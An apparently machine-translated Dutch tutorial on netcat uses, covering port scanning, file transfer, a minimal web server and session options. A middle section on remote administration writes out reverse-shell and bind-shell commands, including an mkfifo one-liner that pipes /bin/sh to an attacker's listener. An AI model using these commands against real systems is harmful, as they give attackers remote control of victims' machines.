NetCat

Netcat - Zwitsers zakmes Pro Gebruik

Netcat - Zwitsers zakmes Pro Gebruik
Netcat is een hulpprogramma dat wordt gebruikt voor het lezen en schrijven van gegevens via TCP- en UDP-poorten. Het kan voor veel coole dingen worden gebruikt, zoals bestandsoverdracht, poortscannen, poortomleiding, achterdeurtjes maken op de pc van iemand anders, een eenvoudig chatprogramma maken, netwerkproblemen oplossen en meer, daarom staat het bekend als Zwitsers zakmes. Het wordt tegenwoordig ook voorgeïnstalleerd met bijna elke Linux-distributie en wordt voornamelijk gebruikt door netwerkbeheerders, DevOps en beveiligingsingenieurs voor hun dagelijkse kleine taken.

Een kort verschil tussen netcat-traditioneel en netcat-openbsd

Er zijn twee vergelijkbare pakketten beschikbaar voor netcat met een klein verschil tussen hen.

netcat-traditioneel bevat een extra '-e'-optie die kan worden gebruikt om een ​​programma te binden (i.e bash) met netcat. Deze functie is erg handig voor beheer op afstand.

netcat-openbsd hebben wat extra ondersteuning voor IPv6 en proxy's.

Netcat-installatie

Hoewel netcat voorgeïnstalleerd is in de meeste Linux-distributies, maar als dat niet het geval is, kan het eenvoudig worden geïnstalleerd met behulp van de volgende opdrachten.

Voor traditioneel pakket:,

[email protected]:~$ sudo apt-get install netcat-traditional

Voor openbsd-versie,

[email protected]:~$ sudo apt-get install netcat-openbsd

Netcat voor Windows kan hier worden gedownload https://sourceforge.net/projecten/nc110/bestanden/.

Nu zullen we enkele interessante use-cases van netcat onderzoeken

Poortscannen met netcat

Gebruik de optie '-z' om naar open poorten te scannen. Netcat zal proberen verbinding te maken met elke poort zonder gegevens of zeer beperkte gegevens te verzenden in het geval van UDP. Typ het volgende:

[e-mail beveiligd]:~$ nc -z -v hackme.org 80
... knip ..
hackme.org [217.78.1.155] 80 (http) openen

Als u naar een reeks poorten wilt scannen, typt u

[e-mail beveiligd]:~$ nc -z -nv 192.168.100.72 20-80
(ONBEKEND) [192.168.100.72] 80 (http) openen
(ONBEKEND) [192.168.100.72] 22 (ssh) open

Bestandsoverdracht met netcat

Een ander handig gebruiksvoorbeeld van netcat is bestandsoverdracht tussen externe computers. U kunt teksten en binaire bestanden van de ene pc naar de andere pc verzenden. We zullen proberen een bestand "bestand" te verzenden.pdf” van Linux-pc naar Windows-pc [IP 192.168.100.72] met netcat als voorbeeld.

Typ het volgende op een Windows-machine (ontvanger):

C:\Gebruikers> nc -nvlp 1337 > bestand.pdf
Luisteren op [0.0.0.0] (familie 2, poort 1337)

Typ het volgende op Linux-machine (afzender):

[e-mail beveiligd]:~$ nc -nv 192.168.100.72 1337 < file.pdf
Aansluiting op 192.168.100.72 1337 poort [tcp/*] geslaagd!

Beheer op afstand met netcat

Een van de beste toepassingen van netcat is beheer op afstand, wat betekent dat u de pc van iemand anders kunt bedienen met netcat. Netcat-traditioneel wordt geleverd met de optie '-e' die kan worden gebruikt om een ​​programma te binden (i.e cmd.exe in Windows of bash in Linux) met een poort, wat betekent dat netcat zal fungeren als communicator tussen het programma en de externe pc. Netcat ontvangt opdrachten van een externe pc, voert deze uit op het lokale systeem en stuurt de resultaten terug naar de externe pc. Deze functie wordt veel gebruikt voor kwaadaardige doeleinden, om achterdeurtjes op pc's en servers te houden. Deze functie is alleen beschikbaar in netcat-traditioneel, maar met een klein trucje kan netcat-openbsd ook voor hetzelfde doel worden gebruikt. U kunt op twee manieren de pc van anderen bedienen.

In een Omgekeerde schaal verbinding, een aanvaller luistert op een poort en wacht tot er een verbinding wordt verzonden vanaf de computer van het slachtoffer. Het wordt gebruikt wanneer de computer van het slachtoffer zich achter NAT bevindt of geen openbaar IP-adres heeft.

Om een ​​omgekeerde shell te krijgen met netcat, moet je luisteren op een poort met netcat. Typ het volgende op de computer van de aanvaller:,

[e-mail beveiligd]:~$ nc -nvlp 1337
Luisteren op [0.0.0.0] (familie 2, poort 1337)

Op slachtoffermachine (als netcat-traditioneel is geinstalleerd)

//vervang "/bin/bash" door "cmd.exe" in het geval van Windows

[e-mail beveiligd]:~$ nc -nv [IP_ADDR] 1337 -e /bin/bash

Voor netcat-openbsd (waarbij de optie "-e" niet wordt ondersteund)

[e-mail beveiligd]:~$ rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc [IP_ADDR] 1337 >/tmp/f

terwijl in een Bind Shell verbinding, aanvaller bindt een poort op de slachtoffermachine en maakt verbinding met die poort met behulp van client-socket. Het wordt gebruikt wanneer de computer van de aanvaller zich achter NAT bevindt of geen openbaar IP-adres heeft.

Typ op slachtoffermachine machine

[email protected]:~$ nc -nlvp 1337 -e /bin/bash
luisteren op [elk] 1337..

Typ nu om opdrachten op de slachtoffermachine uit te voeren:

[e-mail beveiligd]:~$ nc -nv 127.0.0.1 1337
Aansluiting op 127.0.0.1 1337 poort [tcp/*] geslaagd!
$ id
uid=1000(azad) gid=1000(azad) groepen=1000(azad),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),118(lpadmin),129(sambashare)

Eenvoudige webserver met netcat

Je kunt ook een andere eenvoudige truc doen om netcat te gebruiken als minimale webserver met één pagina. Deze webserver zou heel eenvoudig zijn zonder speciale configuraties, en we zullen hem gebruiken om onze HTML-code naar de browser te sturen.

[e-mail beveiligd]:~$ while true ; doe echo -e "HTTP/1.1 200 OK\n\n $(echo "


Mijn eenvoudige webserver met netcat

")" | nc -nvlp 1337 ; gedaan
Luisteren op [0.0.0.0] (familie 2, poort 1337)

Probeer nu de webpagina op te halen met curl

[e-mail beveiligd]:~$ curl http://127.0.0.1:1337/

Mijn eenvoudige webserver met netcat

Specificeer time-out voor een netcat-sessie

U kunt een time-out voor een netcat-sessie opgeven met de optie "-w"”. Netcat verbreekt automatisch de sessie nadat de opgegeven tijd is verstreken time.

// -w [Tijd in seconden]
[e-mail beveiligd]:~$ nc -w 40 -nvlp 1337
Luisteren op [0.0.0.0] (familie 2, poort 1234)

Blijf luisteren, zelfs als de klant de verbinding verbreekt

In de normale modus wordt de netcat-server afgesloten en stopt met luisteren op de poort wanneer een client de verbinding verbreekt. U kunt de server up-to-date houden met de "-k" optie

[e-mail beveiligd]:~$ nc -k -nlvp 1234
Luisteren op [0.0.0.0] (familie 2, poort 1234)

Conclusie

Netcat is een eenvoudig maar efficiënt hulpprogramma dat voor veel eenvoudige dagelijkse taken kan worden gebruikt. Het is voorgeïnstalleerd in bijna alle UNIX-achtige besturingssystemen en kan worden gebruikt voor verschillende taken, zoals communicatie tussen twee pc's, bestandsoverdracht en nog veel meer.

Hoe FPS-teller in Linux-games te tonen
Linux-gaming kreeg een grote duw toen Valve in 2012 Linux-ondersteuning voor Steam-client en hun games aankondigde. Sindsdien hebben veel AAA- en indi...
Sid Meier's Civilization VI downloaden en spelen op Linux and
Inleiding tot het spel Civilization 6 is een moderne versie van het klassieke concept dat werd geïntroduceerd in de serie Age of Empires-games. Het id...
Doom installeren en spelen op Linux
Inleiding tot Doom De Doom-serie is ontstaan ​​in de jaren 90 na de release van de originele Doom. Het was meteen een hit en vanaf die tijd heeft de g...